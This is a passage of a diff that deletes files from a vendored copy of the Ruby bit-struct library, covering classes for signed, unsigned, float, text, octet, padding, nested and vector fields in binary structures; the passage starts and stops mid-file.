||||
# UnsignedField adds the <tt>:fixed => divisor</tt> option, which specifies
|
||||
# that the internally stored value is interpreted as a fixed point real
|
||||
# number with the specified +divisor+.
|
||||
#
|
||||
# The <tt>:endian => :native</tt> option overrides the default of
|
||||
# <tt>:network</tt> byte ordering, in favor of native byte ordering. Also
|
||||
# permitted are <tt>:big</tt> (same as <tt>:network</tt>) and
|
||||
# <tt>:little</tt>.
|
||||
#
|
||||
def unsigned name, length, *rest
|
||||
opts = parse_options(rest, name, UnsignedField)
|
||||
add_field(name, length, opts)
|
||||
end
|
||||
BitStruct.autoload :UnsignedField, "bit-struct/unsigned-field"
|
||||
|
||||
# Define a vector field in the current subclass of BitStruct,
|
||||
# with the given _name_.
|
||||
#
|
||||
# If a class is provided, use it for the Vector class, otherwise
|
||||
# the block must define the entry fields. The two forms looks like
|
||||
# this:
|
||||
#
|
||||
# class Vec < BitStruct::Vector
|
||||
# # these declarations apply to *each* entry in the vector:
|
||||
# unsigned :x, 16
|
||||
# signed :y, 32
|
||||
# end
|
||||
#
|
||||
# class Packet < BitStruct
|
||||
# # Using the Vec class defined above
|
||||
# vector :v, Vec, "a vector", :length => 5
|
||||
#
|
||||
# # equivalently, using an anonymous subclass of BitStruct::Vector
|
||||
# vector :v2, "a vector", :length => 5 do
|
||||
# unsigned :x, 16
|
||||
# signed :y, 32
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# If a string is provided, use it for the display_name.
|
||||
# If a hash is provided, use it for options.
|
||||
# If a number is provided, use it for length (equivalent to using the
|
||||
# :length option).
|
||||
#
|
||||
# WARNING: the accessors have COPY semantics, not reference. When you call a
|
||||
# reader method to get the vector structure, you get a *copy* of that data.
|
||||
#
|
||||
# For example, to modify the numeric fields in a Packet as defined above:
|
||||
#
|
||||
# pkt = Packet.new
|
||||
# vec = pkt.v
|
||||
# entry = vec[2]
|
||||
# entry.x = 123
|
||||
# entry.y = -456
|
||||
# vec[2] = entry
|
||||
# pkt.v = vec
|
||||
#
|
||||
def vector(name, *rest, &block)
|
||||
opts = parse_options(rest, name, nil)
|
||||
cl = opts[:field_class]
|
||||
opts[:field_class] = VectorField
|
||||
|
||||
unless (block and not cl) or (cl and not block)
|
||||
raise ArgumentError,
|
||||
"vector must have either a class or a block, but not both"
|
||||
end
|
||||
|
||||
case
|
||||
when cl == nil
|
||||
vector_class = Class.new(BitStruct::Vector)
|
||||
vector_class.class_eval(&block)
|
||||
|
||||
when cl < BitStruct
|
||||
vector_class = Class.new(BitStruct::Vector)
|
||||
vector_class.struct_class cl
|
||||
|
||||
when cl < BitStruct::Vector
|
||||
vector_class = cl
|
||||
|
||||
else raise ArgumentError, "Bad vector class: #{cl.inspect}"
|
||||
end
|
||||
|
||||
vector_class.default_options default_options
|
||||
|
||||
length = opts[:length] || rest.grep(Integer).first
|
||||
## what about :length => :lenfield
|
||||
unless length
|
||||
raise ArgumentError,
|
||||
"Must provide length as argument N or as option :length => N"
|
||||
end
|
||||
|
||||
opts[:default] ||= vector_class.new(length) ## nil if variable length
|
||||
opts[:vector_class] = vector_class
|
||||
|
||||
bit_length = vector_class.struct_class.round_byte_length * 8 * length
|
||||
|
||||
field = add_field(name, bit_length, opts)
|
||||
field
|
||||
end
|
||||
BitStruct.autoload :VectorField, "bit-struct/vector-field"
|
||||
end
|
||||
|
||||
autoload :Vector, "bit-struct/vector"
|
||||
end
|
||||
@@ -1,62 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for floats (single and double precision) in network order.
|
||||
# Declared with BitStruct.float.
|
||||
class FloatField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "float"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length == 32 or length == 64
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be 32 or 64."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = case length
|
||||
when 32; "f"
|
||||
when 64; "d"
|
||||
end
|
||||
when "little"
|
||||
ctl = case length
|
||||
when 32; "e"
|
||||
when 64; "E"
|
||||
end
|
||||
when "network", "big", ""
|
||||
ctl = case length
|
||||
when 32; "g"
|
||||
when 64; "G"
|
||||
end
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,21 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/char-field'
|
||||
|
||||
class BitStruct
|
||||
# Class for char fields that can be accessed with values like
|
||||
# "xx:xx:xx:xx", where each xx is up to 2 hex digits representing a
|
||||
# single octet. The original string-based accessors are still available with
|
||||
# the <tt>_chars</tt> suffix.
|
||||
#
|
||||
# Declared with BitStruct.hex_octets.
|
||||
class HexOctetField < BitStruct::OctetField
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "hex_octets"
|
||||
end
|
||||
|
||||
SEPARATOR = ":"
|
||||
FORMAT = "%02x"
|
||||
BASE = 16
|
||||
end
|
||||
end
|
||||
@@ -1,77 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/bit-struct'
|
||||
|
||||
class BitStruct
|
||||
# Class for nesting a BitStruct as a field within another BitStruct.
|
||||
# Declared with BitStruct.nest.
|
||||
class NestedField < Field
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "nest"
|
||||
end
|
||||
|
||||
def class_name
|
||||
@class_name ||= nested_class.name[/\w+$/]
|
||||
end
|
||||
|
||||
def nested_class
|
||||
@nested_class ||= options[:nested_class] || options["nested_class"]
|
||||
end
|
||||
|
||||
def describe opts
|
||||
if opts[:expand]
|
||||
opts = opts.dup
|
||||
opts[:byte_offset] = offset / 8
|
||||
opts[:omit_header] = opts[:omit_footer] = true
|
||||
nested_class.describe(nil, opts) {|desc| yield desc}
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for nested field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for nested field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
nc = nested_class
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
nc.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
if val.length != length_byte
|
||||
raise ArgumentError, "Size mismatch in nested struct assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
if val.class != nc
|
||||
warn "Type mismatch in nested struct assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
self[byte_range] = val
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,46 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/char-field'
|
||||
|
||||
class BitStruct
|
||||
# Class for char fields that can be accessed with values like
|
||||
# "xxx.xxx.xxx.xxx", where each xxx is up to 3 decimal digits representing a
|
||||
# single octet. The original string-based accessors are still available with
|
||||
# the <tt>_chars</tt> suffix.
|
||||
#
|
||||
# Declared with BitStruct.octets.
|
||||
class OctetField < BitStruct::CharField
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "octets"
|
||||
end
|
||||
|
||||
SEPARATOR = "."
|
||||
FORMAT = "%d"
|
||||
BASE = 10
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
attr_chars = "#{attr}_chars"
|
||||
super(cl, attr_chars)
|
||||
sep = self.class::SEPARATOR
|
||||
base = self.class::BASE
|
||||
fmt = self.class::FORMAT
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
ary = []
|
||||
send(attr_chars).each_byte do |c|
|
||||
ary << fmt % c
|
||||
end
|
||||
ary.join(sep)
|
||||
end
|
||||
|
||||
old_writer = "#{attr_chars}="
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
data = val.split(sep).map{|s|s.to_i(base)}.pack("C*")
|
||||
send(old_writer, data)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,16 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for fixed length padding.
|
||||
class PadField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "padding"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
# No accessors for padding.
|
||||
end
|
||||
|
||||
def inspectable?; false; end
|
||||
end
|
||||
end
|
||||
@@ -1,259 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for signed integers in network order, 1-16 bits, or 8n bits.
|
||||
# Declared with BitStruct.signed.
|
||||
class SignedField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "signed"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
offset_byte = offset / 8
|
||||
offset_bit = offset % 8
|
||||
|
||||
length_bit = offset_bit + length
|
||||
length_byte = (length_bit/8.0).ceil
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
max = 2**length-1
|
||||
mid = 2**(length-1)
|
||||
max_unsigned = 2**length
|
||||
to_signed = proc {|n| (n>=mid) ? n - max_unsigned : n}
|
||||
# to_signed = proc {|n| (n>=mid) ? -((n ^ max) + 1) : n}
|
||||
|
||||
divisor = options[:fixed] || options["fixed"]
|
||||
divisor_f = divisor && divisor.to_f
|
||||
# if divisor and not divisor.is_a? Fixnum
|
||||
# raise ArgumentError, "fixed-point divisor must be a fixnum"
|
||||
# end
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = length_byte <= 2 ? "s" : "l"
|
||||
if length == 16 or length == 32
|
||||
to_signed = proc {|n| n}
|
||||
# with pack support, to_signed can be replaced with no-op
|
||||
end
|
||||
when "little"
|
||||
ctl = length_byte <= 2 ? "v" : "V"
|
||||
when "network", "big", ""
|
||||
ctl = length_byte <= 2 ? "n" : "N"
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
data_is_big_endian =
|
||||
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
|
||||
|
||||
if length_byte == 1
|
||||
rest = 8 - length_bit
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[(self[offset_byte] & mask) >> rest] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[(self[offset_byte] & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif offset_bit == 0 and length % 8 == 0
|
||||
field_length = length
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
cl.class_eval do
|
||||
case field_length
|
||||
when 8
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[self[offset_byte]] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] = val
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[self[offset_byte]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] = val
|
||||
end
|
||||
end
|
||||
|
||||
when 16, 32
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[self[byte_range].unpack(ctl).first] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[self[byte_range].unpack(ctl).first]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
reader_helper = proc do |substr|
|
||||
bytes = substr.unpack("C*")
|
||||
bytes.reverse! unless data_is_big_endian
|
||||
bytes.inject do |sum, byte|
|
||||
(sum << 8) + byte
|
||||
end
|
||||
end
|
||||
|
||||
writer_helper = proc do |val|
|
||||
bytes = []
|
||||
val += max_unsigned if val < 0
|
||||
while val > 0
|
||||
bytes.push val % 256
|
||||
val = val >> 8
|
||||
end
|
||||
if bytes.length < length_byte
|
||||
bytes.concat [0] * (length_byte - bytes.length)
|
||||
end
|
||||
|
||||
bytes.reverse! if data_is_big_endian
|
||||
bytes.pack("C*")
|
||||
end
|
||||
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[reader_helper[self[byte_range]] / divisor_f]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[(val * divisor).round]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[reader_helper[self[byte_range]]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[val]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 2 # unaligned field that fits within two whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 16 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B16").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B16").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest] /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 32 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B32").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B32").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
to_signed[((bytes.unpack(ctl).first & mask) >> rest)] /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
to_signed[(bytes.unpack(ctl).first & mask) >> rest]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
raise "unsupported: #{inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,45 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for null-terminated printable text strings.
|
||||
# Declared with BitStruct.text.
|
||||
class TextField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "text"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for #{self.class} #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
val_byte_range = 0..length_byte-1
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
self[byte_range].sub(/\0*$/, "").to_s
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = val.to_s
|
||||
if val.length < length_byte
|
||||
val += "\0" * (length_byte - val.length)
|
||||
end
|
||||
self[byte_range] = val[val_byte_range]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,249 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
class BitStruct
|
||||
# Class for unsigned integers in network order, 1-16 bits, or 8n bits.
|
||||
# Declared with BitStruct.unsigned.
|
||||
class UnsignedField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "unsigned"
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
offset_byte = offset / 8
|
||||
offset_bit = offset % 8
|
||||
|
||||
length_bit = offset_bit + length
|
||||
length_byte = (length_bit/8.0).ceil
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
|
||||
divisor = options[:fixed] || options["fixed"]
|
||||
divisor_f = divisor && divisor.to_f
|
||||
# if divisor and not divisor.is_a? Fixnum
|
||||
# raise ArgumentError, "fixed-point divisor must be a fixnum"
|
||||
# end
|
||||
|
||||
endian = (options[:endian] || options["endian"]).to_s
|
||||
case endian
|
||||
when "native"
|
||||
ctl = length_byte <= 2 ? "S" : "L"
|
||||
when "little"
|
||||
ctl = length_byte <= 2 ? "v" : "V"
|
||||
when "network", "big", ""
|
||||
ctl = length_byte <= 2 ? "n" : "N"
|
||||
else
|
||||
raise ArgumentError,
|
||||
"Unrecognized endian option: #{endian.inspect}"
|
||||
end
|
||||
|
||||
data_is_big_endian =
|
||||
([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N"))
|
||||
|
||||
if length_byte == 1
|
||||
rest = 8 - length_bit
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
((self[offset_byte] & mask) >> rest) / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
(self[offset_byte] & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] =
|
||||
(self[offset_byte] & mask2) | ((val<<rest) & mask)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif offset_bit == 0 and length % 8 == 0
|
||||
field_length = length
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
cl.class_eval do
|
||||
case field_length
|
||||
when 8
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
self[offset_byte] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[offset_byte] = val
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
self[offset_byte]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[offset_byte] = val
|
||||
end
|
||||
end
|
||||
|
||||
when 16, 32
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
self[byte_range].unpack(ctl).first
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = [val].pack(ctl)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
reader_helper = proc do |substr|
|
||||
bytes = substr.unpack("C*")
|
||||
bytes.reverse! unless data_is_big_endian
|
||||
bytes.inject do |sum, byte|
|
||||
(sum << 8) + byte
|
||||
end
|
||||
end
|
||||
|
||||
writer_helper = proc do |val|
|
||||
bytes = []
|
||||
while val > 0
|
||||
bytes.push val % 256
|
||||
val = val >> 8
|
||||
end
|
||||
if bytes.length < length_byte
|
||||
bytes.concat [0] * (length_byte - bytes.length)
|
||||
end
|
||||
|
||||
bytes.reverse! if data_is_big_endian
|
||||
bytes.pack("C*")
|
||||
end
|
||||
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
reader_helper[self[byte_range]] / divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[(val * divisor).round]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
reader_helper[self[byte_range]]
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
self[byte_range] = writer_helper[val]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 2 # unaligned field that fits within two whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 16 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B16").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B16").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
((self[byte_range].unpack(ctl).first & mask) >> rest) /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
(self[byte_range].unpack(ctl).first & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
x = (self[byte_range].unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
elsif length_byte == 3 # unaligned field that fits within 3 whole bytes
|
||||
byte_range = offset_byte..last_byte
|
||||
rest = 32 - length_bit
|
||||
|
||||
mask = ["0"*offset_bit + "1"*length + "0"*rest]
|
||||
mask = mask.pack("B32").unpack(ctl).first
|
||||
|
||||
mask2 = ["1"*offset_bit + "0"*length + "1"*rest]
|
||||
mask2 = mask2.pack("B32").unpack(ctl).first
|
||||
|
||||
cl.class_eval do
|
||||
if divisor
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
((bytes.unpack(ctl).first & mask) >> rest) /
|
||||
divisor_f
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
val = (val * divisor).round
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
|
||||
else
|
||||
define_method attr do ||
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
(bytes.unpack(ctl).first & mask) >> rest
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
bytes = self[byte_range]
|
||||
bytes << 0
|
||||
x = (bytes.unpack(ctl).first & mask2) |
|
||||
((val<<rest) & mask)
|
||||
self[byte_range] = [x].pack(ctl)[0..2]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
raise "unsupported: #{inspect}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,78 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'bit-struct/vector'
|
||||
|
||||
class BitStruct
|
||||
# Class for embedding a BitStruct::Vector as a field within a BitStruct.
|
||||
# Declared with BitStruct.vector.
|
||||
class VectorField < Field
|
||||
# Used in describe.
|
||||
def self.class_name
|
||||
@class_name ||= "vector"
|
||||
end
|
||||
|
||||
# Used in describe.
|
||||
def class_name
|
||||
@class_name ||= vector_class.name[/\w+$/]
|
||||
end
|
||||
|
||||
# Returns the subclass of Vector that is used to manage the value of this
|
||||
# field. If the class was specified in the BitStruct.vector declaration,
|
||||
# #vector_class will return it, otherwise it will be an anonymous class
|
||||
# (which you can assign to a constant to make nonymous ;).
|
||||
def vector_class
|
||||
@vector_class ||= options[:vector_class] || options["vector_class"]
|
||||
end
|
||||
|
||||
def describe opts # :nodoc:
|
||||
if opts[:expand]
|
||||
opts = opts.dup
|
||||
opts[:byte_offset] = offset / 8
|
||||
opts[:omit_header] = opts[:omit_footer] = true
|
||||
vector_class.describe(nil, opts) {|desc| yield desc}
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
def add_accessors_to(cl, attr = name) # :nodoc:
|
||||
unless offset % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad offset, #{offset}, for vector field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
unless length % 8 == 0
|
||||
raise ArgumentError,
|
||||
"Bad length, #{length}, for vector field #{name}." +
|
||||
" Must be multiple of 8."
|
||||
end
|
||||
|
||||
offset_byte = offset / 8
|
||||
length_byte = length / 8
|
||||
last_byte = offset_byte + length_byte - 1
|
||||
byte_range = offset_byte..last_byte
|
||||
|
||||
vc = vector_class
|
||||
|
||||
cl.class_eval do
|
||||
define_method attr do ||
|
||||
vc.new(self[byte_range])
|
||||
end
|
||||
|
||||
define_method "#{attr}=" do |val|
|
||||
if val.length != length_byte
|
||||
raise ArgumentError, "Size mismatch in vector field assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
if val.class != vc
|
||||
warn "Type mismatch in vector field assignment " +
|
||||
"to #{attr} with value #{val.inspect}"
|
||||
end
|
||||
|
||||
self[byte_range] = val
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,174 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
# A Vector is, like a BitStruct, a String. It retains all of the String
|
||||
# methods, except for #[], #[]=, and #each. These methods operate on entries
|
||||
# instead of chars. Other methods, including #length and #slice, are unchanged.
|
||||
# Hence a Vector can be used directly with sockets, binary files, etc.
|
||||
#
|
||||
# Note that Vector is not a subclass of BitStruct. It cannot be used in
|
||||
# a #nest declaration in a BitStruct. Instead, use the #vector declaration.
|
||||
# See BitStruct::VectorField.
|
||||
#
|
||||
# Different instances of the same Vector class may have different lengths, and
|
||||
# a single instance can change its length. The length should always be a
|
||||
# multiple of the struct size.
|
||||
class BitStruct::Vector < String
|
||||
include Enumerable
|
||||
|
||||
@default_options = {}
|
||||
@struct_class = nil
|
||||
|
||||
class << self
|
||||
def inherited cl
|
||||
cl.instance_eval do
|
||||
@struct_class = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Called as a class method with a single argument in a user-defined
|
||||
